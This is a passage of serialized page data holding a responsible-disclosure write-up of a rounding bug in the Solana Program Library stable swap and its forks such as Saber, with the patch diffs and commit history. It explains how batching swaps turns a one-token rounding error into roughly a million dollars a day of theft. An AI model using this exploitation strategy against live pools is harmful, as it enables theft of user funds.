big",{"type":23,"tag":32,"props":15186,"children":15187},{},[15188],{"type":23,"tag":15189,"props":15190,"children":15192},"img",{"alt":7,"src":15191},"/posts/spl-swap/poc.png",[],{"type":23,"tag":24,"props":15194,"children":15196},{"id":15195},"exploitability",[15197],{"type":29,"value":15198},"Exploitability",{"type":23,"tag":32,"props":15200,"children":15201},{},[15202],{"type":29,"value":15203},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":23,"tag":32,"props":15205,"children":15206},{},[15207],{"type":29,"value":15208},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":23,"tag":32,"props":15210,"children":15211},{},[15212],{"type":29,"value":15213},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":23,"tag":32,"props":15215,"children":15216},{},[15217],{"type":23,"tag":15189,"props":15218,"children":15220},{"alt":7,"src":15219},"/posts/spl-swap/pr.png",[],{"type":23,"tag":32,"props":15222,"children":15223},{},[15224,15226,15231],{"type":29,"value":15225},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":23,"tag":9690,"props":15227,"children":15228},{},[15229],{"type":29,"value":15230},"per instruction",{"type":29,"value":15232},". Transactions on Solana can also contain multiple instructions.",{"type":23,"tag":32,"props":15234,"children":15235},{},[15236],{"type":29,"value":15237},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":23,"tag":32,"props":15239,"children":15240},{},[15241,15243,15248],{"type":29,"value":15242},"Some quick napkin math confirms that this ",{"type":23,"tag":9690,"props":15244,"children":15245},{},[15246],{"type":29,"value":15247},"is",{"type":29,"value":15249}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":23,"tag":32,"props":15251,"children":15252},{},[15253],{"type":23,"tag":71,"props":15254,"children":15258},{"className":15255},[15256,15257],"language-math","math-inline",[15259],{"type":23,"tag":75,"props":15260,"children":15263},{"className":15261},[15262],"katex",[15264],{"type":23,"tag":75,"props":15265,"children":15269},{"className":15266,"ariaHidden":15268},[15267],"katex-html","true",[15270,15377,15433,15473],{"type":23,"tag":75,"props":15271,"children":15274},{"className":15272},[15273],"base",[15275,15281,15287,15350,15360,15366,15373],{"type":23,"tag":75,"props":15276,"children":15280},{"className":15277,"style":15279},[15278],"strut","height:0.8141em;",[],{"type":23,"tag":75,"props":15282,"children":15285},{"className":15283},[15284],"mord",[15286],{"type":29,"value":7867},{"type":23,"tag":75,"props":15288,"children":15290},{"className":15289},[15284],[15291,15296],{"type":23,"tag":75,"props":15292,"children":15294},{"className":15293},[15284],[15295],{"type":29,"value":648},{"type":23,"tag":75,"props":15297,"children":15300},{"className":15298},[15299],"msupsub",[15301],{"type":23,"tag":75,"props":15302,"children":15305},{"className":15303},[15304],"vlist-t",[15306],{"type":23,"tag":75,"props":15307,"children":15310},{"className":15308},[15309],"vlist-r",[15311],{"type":23,"tag":75,"props":15312,"children":15315},{"className":15313,"style":15279},[15314],"vlist",[15316],{"type":23,"tag":75,"props":15317,"children":15319},{"style":15318},"top:-3.063em;margin-right:0.05em;",[15320,15326],{"type":23,"tag":75,"props":15321,"children":15325},{"className":15322,"style":15324},[15323],"pstrut","height:2.7em;",[],{"type":23,"tag":75,"props":15327,"children":15333},{"className":15328},[15329,15330,15331,15332],"sizing","reset-size6","size3","mtight",[15334],{"type":23,"tag":75,"props":15335,"children":15337},{"className":15336},[15284,15332],[15338,15344],{"type":23,"tag":75,"props":15339,"children":15341},{"className":15340},[15284,15332],[15342],{"type":29,"value":15343},"−",{"type":23,"tag":75,"props":15345,"children":15347},{"className":15346},[15284,15332],[15348],{"type":29,"value":15349},"8",{"type":23,"tag":75,"props":15351,"children":15353},{"className":15352},[15284,29],[15354],{"type":23,"tag":75,"props":15355,"children":15357},{"className":15356},[15284],[15358],{"type":29,"value":15359}," BTC",{"type":23,"tag":75,"props":15361,"children":15365},{"className":15362,"style":15364},[15363],"mspace","margin-right:0.2222em;",[],{"type":23,"tag":75,"props":15367,"children":15370},{"className":15368},[15369],"mbin",[15371],{"type":29,"value":15372},"∗",{"type":23,"tag":75,"props":15374,"children":15376},{"className":15375,"style":15364},[15363],[],{"type":23,"tag":75,"props":15378,"children":15380},{"className":15379},[15273],[15381,15386,15392,15399,15404,15410,15420,15424,15429],{"type":23,"tag":75,"props":15382,"children":15385},{"className":15383,"style":15384},[15278],"height:1em;vertical-align:-0.25em;",[],{"type":23,"tag":75,"props":15387,"children":15389},{"className":15388},[15284],[15390],{"type":29,"value":15391},"$41",{"type":23,"tag":75,"props":15393,"children":15396},{"className":15394},[15395],"mpunct",[15397],{"type":29,"value":15398},",",{"type":23,"tag":75,"props":15400,"children":15403},{"className":15401,"style":15402},[15363],"margin-right:0.1667em;",[],{"type":23,"tag":75,"props":15405,"children":15407},{"className":15406},[15284],[15408],{"type":29,"value":15409},"400/",{"type":23,"tag":75,"props":15411,"children":15413},{"className":15412},[15284,29],[15414],{"type":23,"tag":75,"props":15415,"children":15417},{"className":15416},[15284],[15418],{"type":29,"value":15419},"BTC",{"type":23,"tag":75,"props":15421,"children":15423},{"className":15422,"style":15364},[15363],[],{"type":23,"tag":75,"props":15425,"children":15427},{"className":15426},[15369],[15428],{"type":29,"value":15372},{"type":23,"tag":75,"props":15430,"children":15432},{"className":15431,"style":15364},[15363],[],{"type":23,"tag":75,"props":15434,"children":15436},{"className":15435},[15273],[15437,15442,15448,15458,15463,15469],{"type":23,"tag":75,"props":15438,"children":15441},{"className":15439,"style":15440},[15278],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":23,"tag":75,"props":15443,"children":15445},{"className":15444},[15284],[15446],{"type":29,"value":15447},"150",{"type":23,"tag":75,"props":15449,"children":15451},{"className":15450},[15284,29],[15452],{"type":23,"tag":75,"props":15453,"children":15455},{"className":15454},[15284],[15456],{"type":29,"value":15457}," swaps",{"type":23,"tag":75,"props":15459,"children":15462},{"className":15460,"style":15461},[15363],"margin-right:0.2778em;",[],{"type":23,"tag":75,"props":15464,"children":15467},{"className":15465},[15466],"mrel",[15468],{"type":29,"value":212},{"type":23,"tag":75,"props":15470,"children":15472},{"className":15471,"style":15461},[15363],[],{"type":23,"tag":75,"props":15474,"children":15476},{"className":15475},[15273],[15477,15482],{"type":23,"tag":75,"props":15478,"children":15481},{"className":15479,"style":15480},[15278],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":23,"tag":75,"props":15483,"children":15485},{"className":15484},[15284],[15486],{"type":29,"value":15487},"$0.0621",{"type":23,"tag":32,"props":15489,"children":15490},{},[15491],{"type":29,"value":15492},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":23,"tag":32,"props":15494,"children":15495},{},[15496],{"type":29,"value":15497},"We're well on our way to becoming a millionaire!",{"type":23,"tag":24,"props":15499,"children":15501},{"id":15500},"patch",[15502],{"type":29,"value":15503},"Patch",{"type":23,"tag":32,"props":15505,"children":15506},{},[15507],{"type":29,"value":15508},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":23,"tag":32,"props":15510,"children":15511},{},[15512],{"type":29,"value":15513},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":23,"tag":64,"props":15515,"children":15519},{"code":15516,"language":15517,"meta":7,"className":15518,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[15520],{"type":23,"tag":71,"props":15521,"children":15522},{"__ignoreMap":7},[15523],{"type":23,"tag":75,"props":15524,"children":15525},{"class":77,"line":78},[15526,15530,15535,15540,15545,15550,15555],{"type":23,"tag":75,"props":15527,"children":15528},{"style":88},[15529],{"type":29,"value":14174},{"type":23,"tag":75,"props":15531,"children":15532},{"style":1266},[15533],{"type":29,"value":15534}," logs",{"type":23,"tag":75,"props":15536,"children":15537},{"style":1266},[15538],{"type":29,"value":15539}," -um",{"type":23,"tag":75,"props":15541,"children":15542},{"style":209},[15543],{"type":29,"value":15544}," |",{"type":23,"tag":75,"props":15546,"children":15547},{"style":88},[15548],{"type":29,"value":15549}," grep",{"type":23,"tag":75,"props":15551,"children":15552},{"style":1266},[15553],{"type":29,"value":15554}," 'Instruction: Swap'",{"type":23,"tag":75,"props":15556,"children":15557},{"style":1266},[15558],{"type":29,"value":15559}," -B1\n",{"type":23,"tag":32,"props":15561,"children":15562},{},[15563],{"type":29,"value":15564},"With some Google dorking, we were able to identify many of these programs.",{"type":23,"tag":64,"props":15566,"children":15568},{"code":15567},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[15569],{"type":23,"tag":71,"props":15570,"children":15571},{"__ignoreMap":7},[15572],{"type":29,"value":15567},{"type":23,"tag":32,"props":15574,"children":15575},{},[15576],{"type":29,"value":15577},"Now it was time to contact these teams.",{"type":23,"tag":32,"props":15579,"children":15580},{},[15581],{"type":29,"value":15582},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":23,"tag":32,"props":15584,"children":15585},{},[15586],{"type":29,"value":15587},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":23,"tag":64,"props":15589,"children":15591},{"code":15590,"language":986,"meta":7,"className":987,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[15592],{"type":23,"tag":71,"props":15593,"children":15594},{"__ignoreMap":7},[15595,15649,15661],{"type":23,"tag":75,"props":15596,"children":15597},{"class":77,"line":78},[15598,15603,15607,15612,15616,15621,15625,15629,15633,15637,15641,15645],{"type":23,"tag":75,"props":15599,"children":15600},{"style":209},[15601],{"type":29,"value":15602},"-",{"type":23,"tag":75,"props":15604,"children":15605},{"style":82},[15606],{"type":29,"value":14352},{"type":23,"tag":75,"props":15608,"children":15609},{"style":110},[15610],{"type":29,"value":15611}," dy",{"type":23,"tag":75,"props":15613,"children":15614},{"style":209},[15615],{"type":29,"value":1193},{"type":23,"tag":75,"props":15617,"children":15618},{"style":110},[15619],{"type":29,"value":15620}," swap_destination_amount",{"type":23,"tag":75,"props":15622,"children":15623},{"style":209},[15624],{"type":29,"value":557},{"type":23,"tag":75,"props":15626,"children":15627},{"style":88},[15628],{"type":29,"value":14520},{"type":23,"tag":75,"props":15630,"children":15631},{"style":94},[15632],{"type":29,"value":643},{"type":23,"tag":75,"props":15634,"children":15635},{"style":110},[15636],{"type":29,"value":14400},{"type":23,"tag":75,"props":15638,"children":15639},{"style":94},[15640],{"type":29,"value":1347},{"type":23,"tag":75,"props":15642,"children":15643},{"style":209},[15644],{"type":29,"value":1225},{"type":23,"tag":75,"props":15646,"children":15647},{"style":94},[15648],{"type":29,"value":245},{"type":23,"tag":75,"props":15650,"children":15651},{"class":77,"line":100},[15652,15656],{"type":23,"tag":75,"props":15653,"children":15654},{"style":209},[15655],{"type":29,"value":7862},{"type":23,"tag":75,"props":15657,"children":15658},{"style":3621},[15659],{"type":29,"value":15660},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":23,"tag":75,"props":15662,"children":15663},{"class":77,"line":121},[15664,15668,15672,15676,15680,15684,15688,15692,15696,15700,15704,15708,15712,15716,15720,15724,15728],{"type":23,"tag":75,"props":15665,"children":15666},{"style":209},[15667],{"type":29,"value":7862},{"type":23,"tag":75,"props":15669,"children":15670},{"style":82},[15671],{"type":29,"value":14352},{"type":23,"tag":75,"props":15673,"children":15674},{"style":110},[15675],{"type":29,"value":15611},{"type":23,"tag":75,"props":15677,"children":15678},{"style":209},[15679],{"type":29,"value":1193},{"type":23,"tag":75,"props":15681,"children":15682},{"style":110},[15683],{"type":29,"value":15620},{"type":23,"tag":75,"props":15685,"children":15686},{"style":209},[15687],{"type":29,"value":557},{"type":23,"tag":75,"props":15689,"children":15690},{"style":88},[15691],{"type":29,"value":14520},{"type":23,"tag":75,"props":15693,"children":15694},{"style":94},[15695],{"type":29,"value":643},{"type":23,"tag":75,"props":15697,"children":15698},{"style":110},[15699],{"type":29,"value":14400},{"type":23,"tag":75,"props":15701,"children":15702},{"style":94},[15703],{"type":29,"value":1347},{"type":23,"tag":75,"props":15705,"children":15706},{"style":209},[15707],{"type":29,"value":14418},{"type":23,"tag":75,"props":15709,"children":15710},{"style":88},[15711],{"type":29,"value":14520},{"type":23,"tag":75,"props":15713,"children":15714},{"style":94},[15715],{"type":29,"value":643},{"type":23,"tag":75,"props":15717,"children":15718},{"style":237},[15719],{"type":29,"value":7867},{"type":23,"tag":75,"props":15721,"children":15722},{"style":94},[15723],{"type":29,"value":1347},{"type":23,"tag":75,"props":15725,"children":15726},{"style":209},[15727],{"type":29,"value":1225},{"type":23,"tag":75,"props":15729,"children":15730},{"style":94},[15731],{"type":29,"value":245},{"type":23,"tag":32,"props":15733,"children":15734},{},[15735,15737,15744],{"type":29,"value":15736},"For reference, here is the ",{"type":23,"tag":940,"props":15738,"children":15741},{"href":15739,"rel":15740},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[944],[15742],{"type":29,"value":15743},"Curve.fi implementation",{"type":29,"value":557},{"type":23,"tag":64,"props":15746,"children":15748},{"code":15747,"language":67,"meta":7,"className":68,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n",[15749],{"type":23,"tag":71,"props":15750,"children":15751},{"__ignoreMap":7},[15752,15814],{"type":23,"tag":75,"props":15753,"children":15754},{"class":77,"line":78},[15755,15760,15764,15769,15773,15778,15782,15787,15791,15796,15801,15805,15809],{"type":23,"tag":75,"props":15756,"children":15757},{"style":94},[15758],{"type":29,"value":15759},"    dy",{"type":23,"tag":75,"props":15761,"children":15762},{"style":209},[15763],{"type":29,"value":1018},{"type":23,"tag":75,"props":15765,"children":15766},{"style":104},[15767],{"type":29,"value":15768}," uint256",{"type":23,"tag":75,"props":15770,"children":15771},{"style":209},[15772],{"type":29,"value":1193},{"type":23,"tag":75,"props":15774,"children":15775},{"style":94},[15776],{"type":29,"value":15777}," xp[j] ",{"type":23,"tag":75,"props":15779,"children":15780},{"style":209},[15781],{"type":29,"value":15602},{"type":23,"tag":75,"props":15783,"children":15784},{"style":94},[15785],{"type":29,"value":15786}," y ",{"type":23,"tag":75,"props":15788,"children":15789},{"style":209},[15790],{"type":29,"value":15602},{"type":23,"tag":75,"props":15792,"children":15793},{"style":237},[15794],{"type":29,"value":15795}," 1",{"type":23,"tag":75,"props":15797,"children":15798},{"style":94},[15799],{"type":29,"value":15800},"  # ",{"type":23,"tag":75,"props":15802,"children":15803},{"style":209},[15804],{"type":29,"value":15602},{"type":23,"tag":75,"props":15806,"children":15807},{"style":237},[15808],{"type":29,"value":7867},{"type":23,"tag":75,"props":15810,"children":15811},{"style":94},[15812],{"type":29,"value":15813}," just in case there were some rounding errors\n",{"type":23,"tag":75,"props":15815,"children":15816},{"class":77,"line":100},[15817,15822,15826,15830,15834,15839,15843,15848,15852],{"type":23,"tag":75,"props":15818,"children":15819},{"style":94},[15820],{"type":29,"value":15821},"    dy_fee",{"type":23,"tag":75,"props":15823,"children":15824},{"style":209},[15825],{"type":29,"value":1018},{"type":23,"tag":75,"props":15827,"children":15828},{"style":104},[15829],{"type":29,"value":15768},{"type":23,"tag":75,"props":15831,"children":15832},{"style":209},[15833],{"type":29,"value":1193},{"type":23,"tag":75,"props":15835,"children":15836},{"style":94},[15837],{"type":29,"value":15838}," dy ",{"type":23,"tag":75,"props":15840,"children":15841},{"style":209},[15842],{"type":29,"value":601},{"type":23,"tag":75,"props":15844,"children":15845},{"style":94},[15846],{"type":29,"value":15847}," self.fee ",{"type":23,"tag":75,"props":15849,"children":15850},{"style":209},[15851],{"type":29,"value":5647},{"type":23,"tag":75,"props":15853,"children":15854},{"style":94},[15855],{"type":29,"value":15856}," FEE_DENOMINATOR\n",{"type":23,"tag":32,"props":15858,"children":15859},{},[15860,15862,15869],{"type":29,"value":15861},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":23,"tag":940,"props":15863,"children":15866},{"href":15864,"rel":15865},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[944],[15867],{"type":29,"value":15868},"original commit",{"type":29,"value":15870},", not as an additional security patch.",{"type":23,"tag":64,"props":15872,"children":15874},{"code":15873},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[15875],{"type":23,"tag":71,"props":15876,"children":15877},{"__ignoreMap":7},[15878],{"type":29,"value":15873},{"type":23,"tag":32,"props":15880,"children":15881},{},[15882,15884,15891],{"type":29,"value":15883},"The commit adding stable swaps to SPL was ",{"type":23,"tag":940,"props":15885,"children":15888},{"href":15886,"rel":15887},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[944],[15889],{"type":29,"value":15890},"made a few months later",{"type":29,"value":15892},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":23,"tag":64,"props":15894,"children":15896},{"code":15895},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[15897],{"type":23,"tag":71,"props":15898,"children":15899},{"__ignoreMap":7},[15900],{"type":29,"value":15895},{"type":23,"tag":32,"props":15902,"children":15903},{},[15904,15906,15913],{"type":29,"value":15905},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":23,"tag":940,"props":15907,"children":15910},{"href":15908,"rel":15909},"https://github.com/solana-labs/solana-program-library",[944],[15911],{"type":29,"value":15912},"the Solana Program Library",{"type":29,"value":557},{"type":23,"tag":32,"props":15915,"children":15916},{},[15917],{"type":29,"value":15918},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":23,"tag":32,"props":15920,"children":15921},{},[15922,15929],{"type":23,"tag":940,"props":15923,"children":15926},{"href":15924,"rel":15925},"https://github.com/joncinque",[944],[15927],{"type":29,"value":15928},"@joncinque",{"type":29,"value":15930}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":23,"tag":1829,"props":15932,"children":15933},{},[15934],{"type":23,"tag":32,"props":15935,"children":15936},{},[15937],{"type":29,"value":15938},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":23,"tag":32,"props":15940,"children":15941},{},[15942,15944,15951,15953,15959],{"type":29,"value":15943},"After some thought, he helped ",{"type":23,"tag":940,"props":15945,"children":15948},{"href":15946,"rel":15947},"https://github.com/solana-labs/solana-program-library/pull/2942",[944],[15949],{"type":29,"value":15950},"introduce a PR",{"type":29,"value":15952}," which ceilings the computation in ",{"type":23,"tag":71,"props":15954,"children":15956},{"className":15955},[],[15957],{"type":29,"value":15958},"compute_new_destination_amount",{"type":29,"value":15960}," to correctly round within the stable curve math library.",{"type":23,"tag":64,"props":15962,"children":15964},{"code":15963,"language":986,"meta":7,"className":987,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[15965],{"type":23,"tag":71,"props":15966,"children":15967},{"__ignoreMap":7},[15968,15976,16006,16033,16061,16085,16161,16265,16292,16387,16490,16517,16529,16548,16571],{"type":23,"tag":75,"props":15969,"children":15970},{"class":77,"line":78},[15971],{"type":23,"tag":75,"props":15972,"children":15973},{"style":3621},[15974],{"type":29,"value":15975},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":75,"props":15977,"children":15978},{"class":77,"line":100},[15979,15984,15988,15993,15997,16002],{"type":23,"tag":75,"props":15980,"children":15981},{"style":82},[15982],{"type":29,"value":15983},"     let",{"type":23,"tag":75,"props":15985,"children":15986},{"style":82},[15987],{"type":29,"value":14296},{"type":23,"tag":75,"props":15989,"children":15990},{"style":110},[15991],{"type":29,"value":15992}," y_prev",{"type":23,"tag":75,"props":15994,"children":15995},{"style":209},[15996],{"type":29,"value":1018},{"type":23,"tag":75,"props":15998,"children":15999},{"style":104},[16000],{"type":29,"value":16001}," U256",{"type":23,"tag":75,"props":16003,"children":16004},{"style":94},[16005],{"type":29,"value":245},{"type":23,"tag":75,"props":16007,"children":16008},{"class":77,"line":121},[16009,16013,16017,16021,16025,16029],{"type":23,"tag":75,"props":16010,"children":16011},{"style":82},[16012],{"type":29,"value":15983},{"type":23,"tag":75,"props":16014,"children":16015},{"style":82},[16016],{"type":29,"value":14296},{"type":23,"tag":75,"props":16018,"children":16019},{"style":110},[16020],{"type":29,"value":14301},{"type":23,"tag":75,"props":16022,"children":16023},{"style":209},[16024],{"type":29,"value":1193},{"type":23,"tag":75,"props":16026,"children":16027},{"style":110},[16028],{"type":29,"value":14310},{"type":23,"tag":75,"props":16030,"children":16031},{"style":94},[16032],{"type":29,"value":245},{"type":23,"tag":75,"props":16034,"children":16035},{"class":77,"line":138},[16036,16041,16045,16049,16053,16057],{"type":23,"tag":75,"props":16037,"children":16038},{"style":175},[16039],{"type":29,"value":16040},"     for",{"type":23,"tag":75,"props":16042,"children":16043},{"style":110},[16044],{"type":29,"value":2062},{"type":23,"tag":75,"props":16046,"children":16047},{"style":82},[16048],{"type":29,"value":14330},{"type":23,"tag":75,"props":16050,"children":16051},{"style":237},[16052],{"type":29,"value":240},{"type":23,"tag":75,"props":16054,"children":16055},{"style":209},[16056],{"type":29,"value":14339},{"type":23,"tag":75,"props":16058,"children":16059},{"style":94},[16060],{"type":29,"value":14344},{"type":23,"tag":75,"props":16062,"children":16063},{"class":77,"line":161},[16064,16068,16073,16077,16081],{"type":23,"tag":75,"props":16065,"children":16066},{"style":209},[16067],{"type":29,"value":15602},{"type":23,"tag":75,"props":16069,"children":16070},{"style":110},[16071],{"type":29,"value":16072},"        y_prev",{"type":23,"tag":75,"props":16074,"children":16075},{"style":209},[16076],{"type":29,"value":1193},{"type":23,"tag":75,"props":16078,"children":16079},{"style":110},[16080],{"type":29,"value":14301},{"type":23,"tag":75,"props":16082,"children":16083},{"style":94},[16084],{"type":29,"value":245},{"type":23,"tag":75,"props":16086,"children":16087},{"class":77,"line":196},[16088,16092,16097,16101,16105,16109,16113,16117,16121,16125,16129,16133,16137,16141,16145,16149,16153,16157],{"type":23,"tag":75,"props":16089,"children":16090},{"style":209},[16091],{"type":29,"value":15602},{"type":23,"tag":75,"props":16093,"children":16094},{"style":110},[16095],{"type":29,"value":16096},"        y",{"type":23,"tag":75,"props":16098,"children":16099},{"style":209},[16100],{"type":29,"value":1193},{"type":23,"tag":75,"props":16102,"children":16103},{"style":94},[16104],{"type":29,"value":183},{"type":23,"tag":75,"props":16106,"children":16107},{"style":88},[16108],{"type":29,"value":14387},{"type":23,"tag":75,"props":16110,"children":16111},{"style":94},[16112],{"type":29,"value":643},{"type":23,"tag":75,"props":16114,"children":16115},{"style":209},[16116],{"type":29,"value":1277},{"type":23,"tag":75,"props":16118,"children":16119},{"style":110},[16120],{"type":29,"value":14400},{"type":23,"tag":75,"props":16122,"children":16123},{"style":94},[16124],{"type":29,"value":611},{"type":23,"tag":75,"props":16126,"children":16127},{"style":237},[16128],{"type":29,"value":14409},{"type":23,"tag":75,"props":16130,"children":16131},{"style":94},[16132],{"type":29,"value":1347},{"type":23,"tag":75,"props":16134,"children":16135},{"style":209},[16136],{"type":29,"value":14418},{"type":23,"tag":75,"props":16138,"children":16139},{"style":88},[16140],{"type":29,"value":14423},{"type":23,"tag":75,"props":16142,"children":16143},{"style":94},[16144],{"type":29,"value":643},{"type":23,"tag":75,"props":16146,"children":16147},{"style":110},[16148],{"type":29,"value":14432},{"type":23,"tag":75,"props":16150,"children":16151},{"style":94},[16152],{"type":29,"value":1347},{"type":23,"tag":75,"props":16154,"children":16155},{"style":209},[16156],{"type":29,"value":1225},{"type":23,"tag":75,"props":16158,"children":16159},{"style":94},[16160],{"type":29,"value":653},{"type":23,"tag":75,"props":16162,"children":16163},{"class":77,"line":220},[16164,16168,16172,16177,16181,16185,16189,16193,16197,16201,16205,16209,16213,16217,16221,16225,16229,16233,16237,16241,16245,16249,16253,16257,16261],{"type":23,"tag":75,"props":16165,"children":16166},{"style":209},[16167],{"type":29,"value":15602},{"type":23,"tag":75,"props":16169,"children":16170},{"style":209},[16171],{"type":29,"value":14452},{"type":23,"tag":75,"props":16173,"children":16174},{"style":88},[16175],{"type":29,"value":16176},"checked_div",{"type":23,"tag":75,"props":16178,"children":16179},{"style":94},[16180],{"type":29,"value":643},{"type":23,"tag":75,"props":16182,"children":16183},{"style":88},[16184],{"type":29,"value":14466},{"type":23,"tag":75,"props":16186,"children":16187},{"style":94},[16188],{"type":29,"value":643},{"type":23,"tag":75,"props":16190,"children":16191},{"style":209},[16192],{"type":29,"value":1277},{"type":23,"tag":75,"props":16194,"children":16195},{"style":110},[16196],{"type":29,"value":14400},{"type":23,"tag":75,"props":16198,"children":16199},{"style":94},[16200],{"type":29,"value":611},{"type":23,"tag":75,"props":16202,"children":16203},{"style":237},[16204],{"type":29,"value":14409},{"type":23,"tag":75,"props":16206,"children":16207},{"style":94},[16208],{"type":29,"value":1347},{"type":23,"tag":75,"props":16210,"children":16211},{"style":209},[16212],{"type":29,"value":14418},{"type":23,"tag":75,"props":16214,"children":16215},{"style":88},[16216],{"type":29,"value":14423},{"type":23,"tag":75,"props":16218,"children":16219},{"style":94},[16220],{"type":29,"value":643},{"type":23,"tag":75,"props":16222,"children":16223},{"style":110},[16224],{"type":29,"value":14507},{"type":23,"tag":75,"props":16226,"children":16227},{"style":94},[16228],{"type":29,"value":1347},{"type":23,"tag":75,"props":16230,"children":16231},{"style":209},[16232],{"type":29,"value":14418},{"type":23,"tag":75,"props":16234,"children":16235},{"style":88},[16236],{"type":29,"value":14520},{"type":23,"tag":75,"props":16238,"children":16239},{"style":94},[16240],{"type":29,"value":643},{"type":23,"tag":75,"props":16242,"children":16243},{"style":110},[16244],{"type":29,"value":14529},{"type":23,"tag":75,"props":16246,"children":16247},{"style":94},[16248],{"type":29,"value":1347},{"type":23,"tag":75,"props":16250,"children":16251},{"style":209},[16252],{"type":29,"value":1225},{"type":23,"tag":75,"props":16254,"children":16255},{"style":94},[16256],{"type":29,"value":1347},{"type":23,"tag":75,"props":16258,"children":16259},{"style":209},[16260],{"type":29,"value":1225},{"type":23,"tag":75,"props":16262,"children":16263},{"style":94},[16264],{"type":29,"value":245},{"type":23,"tag":75,"props":16266,"children":16267},{"class":77,"line":248},[16268,16272,16276,16280,16284,16288],{"type":23,"tag":75,"props":16269,"children":16270},{"style":209},[16271],{"type":29,"value":15602},{"type":23,"tag":75,"props":16273,"children":16274},{"style":175},[16275],{"type":29,"value":2445},{"type":23,"tag":75,"props":16277,"children":16278},{"style":110},[16279],{"type":29,"value":14301},{"type":23,"tag":75,"props":16281,"children":16282},{"style":209},[16283],{"type":29,"value":1372},{"type":23,"tag":75,"props":16285,"children":16286},{"style":110},[16287],{"type":29,"value":15992},{"type":23,"tag":75,"props":16289,"children":16290},{"style":94},[16291],{"type":29,"value":401},{"type":23,"tag":75,"props":16293,"children":16294},{"class":77,"line":270},[16295,16299,16303,16307,16311,16315,16319,16323,16327,16331,16335,16339,16343,16347,16351,1635